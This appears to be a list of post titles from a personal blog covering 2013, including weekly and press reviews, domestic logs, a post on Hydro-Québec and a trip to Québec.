Corporate incompetence (Part 1)

Part 1: Hydro-Québec

The week in review (2013-10-27)

Voyage à Québec

The week in review (2013-10-07)

The week in review (2013-09-23)

The week in review (2013-09-09)

The last couple of weeks in review (2013-08-31)

Spotty (c. 2002 – 2013)

Press Review (2013-08-11)

Domestic log (2013-08-11)

Press Review (2013-07-15)

Domestic log (2013-07-01)

Press Review (2013-06-09)

Press Review (2013-05-23)

Petite mise à jour

Press Review (2013-05-07)

Je suis vivant et vous êtes morts

Press Review (2013-04-15)

So you know your alcohol

(Non) Credo

Press Review (2013-03-31)